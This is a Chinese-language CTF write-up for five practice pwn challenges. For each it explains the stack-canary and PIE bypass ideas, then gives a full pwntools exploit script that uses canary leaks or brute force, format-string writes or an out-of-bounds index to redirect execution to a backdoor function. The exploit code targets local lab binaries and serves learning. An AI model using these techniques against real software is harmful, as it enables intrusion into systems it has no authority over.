[TOC]
babypie
知识点:
- 覆盖canary低字节leak canary
- ASLR/PIE随机化地址高位,低 12 位的页内偏移始终是固定的
程序开启了Canary、NX和PIE保护
程序逻辑:
- 在输入输出前,将buf栈空间清0
- 两次溢出,第一次溢出后有一次输出
- 存在后门函数
漏洞利用:
- 利用第一次溢出leak canary <=== 把canary低字节覆盖为非0
- 利用第二次溢出修改ret_addr <=== 把ret_addr修改为sub_A3E函数 <=== 爆破
exp:
from pwn import *
def pwn():
try:
io = process("./babypie")
io.sendafter(':\n', 'A'*0x29)
io.recvuntil('A'*0x29)
canary = u64(io.recv(7).rjust(8, '\x00'))
print hex(canary)
payload = 'A'*0x28 + p64(canary) + 'deadbeef' + '\x3E\x0A'
io.sendafter(':\n', payload)
io.interactive()
except Exception as e:
io.close()
print e
while True:
pwn()
bin
知识点:
- printf格式化字符串漏洞任意读leak canary
程序开启了Canary和NX保护
程序逻辑:
- 在main函数中存在格式化字符串漏洞
- fun函数中存在溢出
- 存在getflag后门函数
漏洞利用:
- 利用printf格式化字符串leak canary ==> 找到canary相对于格式化字符串的偏移
- 利用溢出覆盖ret_addr为getflag函数地址
exp:
from pwn import *
#context.log_level = 'debug'
io = process("./bin")
elf = ELF("./bin")
io.sendline('%7$p')
canary = int(io.recv(), 16)
print hex(canary)
payload = 'A'*100 + p32(canary) + 'B'*12 + p32(elf.symbols['getflag'])
io.send(payload)
io.interactive()
bin1
知识点:
- fork循环创建子进程,canary值相同
- 爆破canary
程序开启Canary和NX保护:没啥好说的,跟之前Canary原理篇例子一模一样
exp:
from pwn import *
import time
#context.log_level = 'debug'
io = process("./bin1")
elf = ELF("./bin1")
canary = '\x00'
for k in range(3):
for i in range(256):
print "Checking %d for %d" % (i, k)
payload = 'A'*100 + canary + p8(i)
io.sendafter('welcome\n', payload)
time.sleep(0.01)
res = io.recv()
if "sucess" in res:
canary += p8(i)
io.send('A'*108)
break
print 'canary: %s' % hex(u32(canary))
payload = 'A'*100 + canary + 'B'*12 + p32(elf.symbols['getflag'])
io.send(payload)
print io.recv()
io.interactive()
bin3
知识点:
- 格式化字符串将__stack_chk_fail的got表项内容修改为后门函数
程序存在格式化字符串漏洞,有后门函数,且只有一次输入输出机会。
漏洞利用:
- read_n只能读入0x59个字符,刚好溢出到canary
- 格式化字符串地址为格式化字符串的第6个参数
exp:(这里我用fmtstr_payload一直打不通>_<,所以自己手动构造吧
这里我们只需要覆盖低两个字节就行,高字节是相等的
from pwn import *
#context.log_level='debug'
elf = ELF('./bin3')
io = process('./bin3')
stack_fail = elf.got['__stack_chk_fail']
#AAAAA%xx ==> 第6个参数
#xxc%8$hn ==> 第7个参数
#p64(stack_fail) ==> 第8个参数
payload = 'AAAAA' + '%' + str(elf.symbols['backdoor']&0xFFFF-5) + 'c' + '%8$hn' + p64(stack_fail)
payload = payload.ljust(0x58, 'A')
io.send(payload)
io.interactive()
homework
知识点:
- 数组下标越界(检查不严格)造成“任意地址”写
程序开启了Canary和NX保护,存在如下漏洞:
- 存在后门函数,数组下标检查不严格
漏洞利用:
- 计算出ret_addr相对于数组的下标(14),然后直接把后门函数写入
exp:
from pwn import *
#context.log_level = 'debug'
io = process('./homework')
elf = ELF('./homework')
io.sendlineafter('name? ', 'XiaozaYa')
io.recvuntil('dump')
io.sendlineafter(' > ', '1')
io.sendlineafter('edit: ', '14')
io.sendlineafter('many? ', str(elf.symbols['call_me_maybe']))
io.recvuntil('dump')
io.sendlineafter(' > ', '0')
io.interactive()
这个题在输入name的时候其实有一个bss溢出漏洞